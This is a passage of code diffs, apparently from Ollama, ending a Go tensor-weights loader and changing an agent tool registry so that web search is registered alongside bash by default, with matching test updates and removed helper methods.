arr = mlx.AsType(arr, dtype)
}
// ALWAYS make a contiguous copy to ensure independence from mmap
arr = mlx.Contiguous(arr)
mlx.Eval(arr)
mw.cache[name] = arr
sf.Free() // Safe to free - arr is now an independent copy
}
return nil
}
// GetTensor returns a tensor from cache. Call Load() first.
func (mw *ManifestWeights) GetTensor(name string) (*mlx.Array, error) {
if mw.cache == nil {
return nil, fmt.Errorf("cache not initialized: call Load() first")
}
arr, ok := mw.cache[name]
if !ok {
return nil, fmt.Errorf("tensor %q not found", name)
}
return arr, nil
}
// ListTensors returns all tensor names in sorted order.
func (mw *ManifestWeights) ListTensors() []string {
names := make([]string, 0, len(mw.tensors))
for name := range mw.tensors {
names = append(names, name)
}
sort.Strings(names)
return names
}
// HasTensor checks if a tensor exists.
func (mw *ManifestWeights) HasTensor(name string) bool {
_, ok := mw.tensors[name]
return ok
}
// ReleaseAll frees all native handles and clears the tensor cache.
func (mw *ManifestWeights) ReleaseAll() {
for _, sf := range mw.nativeCache {
sf.Free()
}
mw.nativeCache = nil
mw.cache = nil
}

View File

@@ -38,22 +38,6 @@ func (r *Registry) Register(tool Tool) {
r.tools[tool.Name()] = tool
}
// Unregister removes a tool from the registry by name.
func (r *Registry) Unregister(name string) {
delete(r.tools, name)
}
// Has checks if a tool with the given name is registered.
func (r *Registry) Has(name string) bool {
_, ok := r.tools[name]
return ok
}
// RegisterBash adds the bash tool to the registry.
func (r *Registry) RegisterBash() {
r.Register(&BashTool{})
}
// Get retrieves a tool by name.
func (r *Registry) Get(name string) (Tool, bool) {
tool, ok := r.tools[name]
@@ -110,10 +94,9 @@ func (r *Registry) Count() int {
// - OLLAMA_AGENT_DISABLE_BASH=1 disables bash
func DefaultRegistry() *Registry {
r := NewRegistry()
// TODO(parthsareen): re-enable web search once it's ready for release
// if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
// r.Register(&WebSearchTool{})
// }
if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
r.Register(&WebSearchTool{})
}
if os.Getenv("OLLAMA_AGENT_DISABLE_BASH") == "" {
r.Register(&BashTool{})
}

View File

@@ -93,14 +93,19 @@ func TestRegistry_Execute(t *testing.T) {
func TestDefaultRegistry(t *testing.T) {
r := DefaultRegistry()
if r.Count() != 1 {
t.Errorf("expected 1 tool in default registry, got %d", r.Count())
if r.Count() != 2 {
t.Errorf("expected 2 tools in default registry, got %d", r.Count())
}
_, ok := r.Get("bash")
if !ok {
t.Error("expected bash tool in default registry")
}
_, ok = r.Get("web_search")
if !ok {
t.Error("expected web_search tool in default registry")
}
}
func TestDefaultRegistry_DisableWebsearch(t *testing.T) {
@@ -128,8 +133,18 @@ func TestDefaultRegistry_DisableBash(t *testing.T) {
r := DefaultRegistry()
if r.Count() != 0 {
t.Errorf("expected 0 tools with bash disabled, got %d", r.Count())
if r.Count() != 1 {
t.Errorf("expected 1 tool with bash disabled, got %d", r.Count())
}
_, ok := r.Get("web_search")
if !ok {
t.Error("expected web_search tool in registry")
}
_, ok = r.Get("bash")
if ok {
t.Error("expected bash to be disabled")
}
}
@@ -177,47 +192,3 @@ func TestWebSearchTool_Schema(t *testing.T) {
t.Error("expected 'query' property in schema")
}
}
func TestRegistry_Unregister(t *testing.T) {
r := NewRegistry()
r.Register(&BashTool{})
if r.Count() != 1 {
t.Errorf("expected 1 tool, got %d", r.Count())
}
r.Unregister("bash")
if r.Count() != 0 {
t.Errorf("expected 0 tools after unregister, got %d", r.Count())
}
_, ok := r.Get("bash")
if ok {
t.Error("expected bash tool to be removed")
}
}
func TestRegistry_Has(t *testing.T) {
r := NewRegistry()
if r.Has("bash") {
t.Error("expected Has to return false for unregistered tool")
}
r.Register(&BashTool{})
if !r.Has("bash") {
t.Error("expected Has to return true for registered tool")
}
}
func TestRegistry_RegisterBash(t *testing.T) {
r := NewRegistry()
r.RegisterBash()
if !r.Has("bash") {
t.Error("expected bash tool to be registered")
}
}